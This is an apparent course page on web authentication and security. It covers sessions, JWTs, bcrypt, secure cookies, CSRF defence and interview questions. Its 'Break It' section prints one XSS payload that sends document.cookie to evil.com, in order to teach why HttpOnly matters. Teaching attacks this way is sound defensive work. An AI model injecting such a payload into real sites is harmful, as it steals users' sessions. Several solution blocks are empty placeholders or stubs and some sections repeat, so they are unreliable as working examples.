A JWT (JSON Web Token) contains a header, payload, and cryptographic signature. It allows the server to verify state without a database lookup (stateless). Pros: Great for microservices and distributed systems. Cons: Difficult to revoke instantly (requires complex blocklists), payload is readable by anyone who has the token, and size can be larger than a session ID.
Hard: Explain how you would prevent Cross-Site Request Forgery (CSRF) attacks.
Primarily, use SameSite=Lax or Strict on cookies. For older browser support or complex cross-domain setups, implement the Synchronizer Token Pattern: generate a unique, cryptographically secure token per session, embed it in the frontend (e.g., in a meta tag or hidden form field), and require the client to send it in a custom HTTP header on all state-changing requests (POST/PUT/DELETE). The server verifies the token matches the session.
Senior: How do you design an authentication system for a globally distributed, high-traffic microservice architecture?
Utilize an API Gateway that acts as the single entry point. The Gateway validates JWT signatures (fetching public keys from a central Identity Provider via JWKS) before routing to internal services. Internal services either trust the gateway inherently (via mTLS) or validate the JWT themselves. Use short-lived access tokens and centralize refresh token management at the edge to handle revocation.
Connections
Authentication connects directly to Databases (where user records and hashes live), Caching (Redis for fast session lookups), and API Design (middleware pipelines for route protection). Security principles apply to every layer of the stack, from frontend input validation to cloud infrastructure networking and IAM (Identity and Access Management).
Volume 17: Authentication & Security
▶ View Solution
Solution implementation.
Learning Objectives
- Design and implement robust authentication and authorization systems.
- Understand the lifecycle, trade-offs, and secure implementation of sessions, cookies, JWTs, and refresh tokens.
- Integrate federated identity and delegated authorization via OAuth and OpenID Connect.
- Securely manage credentials using modern hashing algorithms (bcrypt, Argon2).
- Understand Multi-Factor Authentication (MFA) concepts and implementation.
- Identify, exploit (in theory), and prevent critical web vulnerabilities: CSRF, XSS, SQL injection, command injection, SSRF, and clickjacking.
- Configure defense-in-depth mechanisms: CORS, Content Security Policy (CSP), and secure HTTP headers.
- Understand infrastructure security: TLS, secret management, API keys, rate limiting, abuse prevention, and input validation.
▶ View Solution
Solution implementation.
Prerequisites
- Deep understanding of the HTTP protocol (Request/Response lifecycle, Headers, Verbs, Status Codes).
- Proficiency in Node.js and building RESTful APIs (Express or Fastify).
- Understanding of Relational Databases (PostgreSQL) and SQL querying.
- Familiarity with React or a similar frontend framework.
▶ View Solution
Solution implementation.
Why Does This Exist?
The internet is inherently hostile and untrustworthy. Without authentication, anyone can claim to be anyone. Without security, any system can be compromised, data can be stolen, and services can be taken offline. Security engineering exists to ensure three fundamental properties (the CIA triad): Confidentiality (data is private), Integrity (data is untampered), and Availability (systems remain operational and accessible).
▶ View Solution
Solution implementation.
The Problem Before the Solution
Early web applications were simple, stateless document viewers. When applications became interactive and personalized (e.g., e-commerce, banking), they needed a way to "remember" users across stateless HTTP requests. Storing user IDs in plaintext cookies or passing them in URLs led to trivial impersonation and data manipulation.
▶ View Solution
Solution implementation.
Why the Old Approach Breaks
If a server trusts the client to dictate its identity without cryptographic verification (e.g., Cookie: user_id=1), an attacker will simply modify the client state (e.g., changing it to user_id=2) to hijack another account. Similarly, storing plaintext passwords in a database means a single data breach compromises every user's account, often exposing their credentials for other services due to password reuse.
▶ View Solution
Solution implementation.
History
Authentication evolved from HTTP Basic Auth (sending plaintext, base64-encoded credentials on every request), to server-side session IDs stored in cookies, to stateless JSON Web Tokens (JWTs) designed to support distributed microservices. Eventually, federated identity (OAuth/OIDC) emerged, allowing authentication to be delegated to specialized, highly secure providers (like Google or GitHub).
▶ View Solution
Solution implementation.
Mental Model (Analogy -> Reality)
Analogy: Think of a high-end nightclub.
- Authentication is checking your physical ID at the door to prove who you are.
- Authorization is checking if your specific wristband allows you into the VIP section.
- Sessions are like a coat check ticket; the club keeps your coat securely in the back (server memory), and you just hold a random number ticket (session ID).
- JWTs are like a cryptographically stamped hand; the bouncer just looks at the stamp (signature) to verify you paid, without needing to check a central ledger.
Reality: Authentication verifies identity via credentials (passwords, biometrics). Authorization verifies permissions via roles or ACLs. Sessions store state on the server and give the client an opaque reference. JWTs store state on the client and provide a cryptographic signature for the server to verify integrity.
▶ View Solution
Solution implementation.
Internal Working (Memory, stack, process, network, etc.)
When a user logs in, the backend process hashes the provided password using a memory-hard algorithm like Argon2, comparing it to the hash stored in PostgreSQL. Upon success, a high-entropy, cryptographically secure Session ID is generated and stored in a fast key-value store like Redis (RAM). The backend sends an HTTP Response with a Set-Cookie header marked HttpOnly, Secure, and SameSite=Strict. On subsequent network requests, the browser automatically attaches this cookie. The backend middleware intercepts the request, reads the cookie, performs an O(1) lookup in Redis, and attaches the associated user object to the request context for downstream handlers.
▶ View Solution
Solution implementation.
Visual Explanation (ASCII diagrams)
[CLIENT / BROWSER] [NODE.JS SERVER] [POSTGRES / REDIS]
| | |
|--- POST /login (user, pw) ->| |
| |--- Select hash WHERE user=? ---->|
| |<-- Returns hash -----------------|
| | |
| | (bcrypt.compare(pw, hash) == OK) |
| | |
| |--- Set 'sid_xyz' -> user_id ---->|
|<-- Set-Cookie: sid=sid_xyz -| |
| | |
|--- GET /profile (sid=xyz) ->| |
| |--- Lookup 'sid_xyz' ------------>|
| |<-- Returns user_id --------------|
|<-- 200 OK (Profile Data) ---| |
▶ View Solution
Solution implementation.
Syntax
Setting a secure, production-ready cookie in Express:
res.cookie('sessionId', cryptoSecureId, {
httpOnly: true, // Prevents XSS attacks from reading the cookie
secure: process.env.NODE_ENV === 'production', // Requires HTTPS
sameSite: 'strict', // Prevents CSRF attacks
maxAge: 1000 * 60 * 60 * 24 // 1 day expiration
});
▶ View Solution
Solution implementation.
Tiny Example
import bcrypt from 'bcrypt';
const password = 'correct-horse-battery-staple';
const saltRounds = 12; // Controls the work factor
// Registration: Hashing
const hash = await bcrypt.hash(password, saltRounds);
// Save 'hash' to database...
// Login: Verifying
const isMatch = await bcrypt.compare(password, hash);
if (isMatch) {
// Issue session or token
}
▶ View Solution
Solution implementation.
Walkthrough
1. Input Validation: The client submits a registration form. The server immediately validates the input (email format, password complexity, length) to prevent abuse and malformed data.
2. Hashing: The server hashes the password with a unique salt to mitigate rainbow table attacks.
3. Storage: The server stores the user record and the hash (never the plaintext password) in PostgreSQL.
4. State Creation: The server generates a JWT or Session ID.
5. Delivery: The token is delivered to the client via an HttpOnly cookie.
6. Authentication: Future requests include this cookie, allowing the server middleware to identify the user and check their authorization level.
▶ View Solution
Solution implementation.
Break It
What happens if we forget to use HttpOnly on our authentication cookie, and we have an XSS vulnerability on our site?
// Malicious script injected via a comment (XSS)
fetch('https://evil.com/steal?cookie=' + encodeURIComponent(document.cookie));
Because the cookie isn't HttpOnly, JavaScript can read it. The attacker just exfiltrated the session ID and can now completely impersonate the user.
▶ View Solution
Solution implementation.
Debug It
You implemented authentication, but the frontend keeps getting a 401 Unauthorized, even though login succeeded. How to debug:
Check the browser's Network tab. Look at the login response—is the Set-Cookie header present? Now look at the subsequent API request—is the Cookie header present? If not, check your CORS configuration (credentials: true) and the SameSite attribute. If your frontend is on localhost:3000 and backend on localhost:8080, SameSite=Strict might block the cookie depending on the browser.
▶ View Solution
Solution implementation.
Mini Project (20-30 min)
Build a secure authentication server with Express and PostgreSQL. Implement registration, login, and a protected /me route. Use Argon2 for hashing and Redis for session management. Implement rate limiting on the login route to prevent brute-force attacks.
▶ View Solution
Solution implementation.
Bigger Project (1-2 hours)
Implement user registration and login using bcrypt for password hashing and JSON Web Tokens (JWT) for stateless sessions.
▶ View Solution
// Implementation for Authentication & Security
console.log("Bigger project solution");
Interview Questions
Easy: What is the difference between Authentication and Authorization?
Authentication (AuthN) verifies who you are (identity). Authorization (AuthZ) verifies what you are allowed to do (permissions).
Medium: What is a JWT, and what are its pros and cons compared to server-side sessions?
A JWT (JSON Web Token) contains a header, payload, and cryptographic signature. It allows the server to verify state without a database lookup (stateless). Pros: Great for microservices and distributed systems. Cons: Difficult to revoke instantly (requires complex blocklists), payload is readable by anyone who has the token, and size can be larger than a session ID.
Hard: Explain how you would prevent Cross-Site Request Forgery (CSRF) attacks.
Primarily, use SameSite=Lax or Strict on cookies. For older browser support or complex cross-domain setups, implement the Synchronizer Token Pattern: generate a unique, cryptographically secure token per session, embed it in the frontend (e.g., in a meta tag or hidden form field), and require the client to send it in a custom HTTP header on all state-changing requests (POST/PUT/DELETE). The server verifies the token matches the session.
Senior: How do you design an authentication system for a globally distributed, high-traffic microservice architecture?
Utilize an API Gateway that acts as the single entry point. The Gateway validates JWT signatures (fetching public keys from a central Identity Provider via JWKS) before routing to internal services. Internal services either trust the gateway inherently (via mTLS) or validate the JWT themselves. Use short-lived access tokens and centralize refresh token management at the edge to handle revocation.